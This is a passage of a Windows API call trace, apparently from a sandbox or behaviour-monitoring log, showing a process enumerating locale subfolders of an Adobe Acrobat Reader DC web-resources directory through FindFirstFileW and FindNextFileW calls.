ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.673] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0176.673] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0176.673] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0176.673] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0176.674] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0176.674] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0176.674] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0176.674] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0176.674] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0176.674] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0176.674] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0176.675] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0176.675] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0176.675] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0176.675] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0176.675] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0176.675] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0176.676] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0176.676] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0176.676] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0176.676] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0176.676] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0176.676] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0176.676] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0176.677] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0176.677] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0176.677] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0176.677] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0176.677] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0176.677] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0176.677] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0176.678] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0176.678] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0176.678] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0176.678] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0176.678] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0176.678] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0176.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec640) returned 1 [0176.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec600) returned 1 [0176.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec700) returned 1 [0176.679] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls", nBufferLength=0x105, lpBuffer=0x1ffec1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls", lpFilePart=0x0) returned 0x64 [0176.679] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\*", lpFindFileData=0x1ffec420 | out: lpFindFileData=0x1ffec420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0176.680] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.680] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0176.681] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0176.681] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0176.681] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0176.681] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0176.681] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0176.681] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0176.681] FindNextFileW (in: 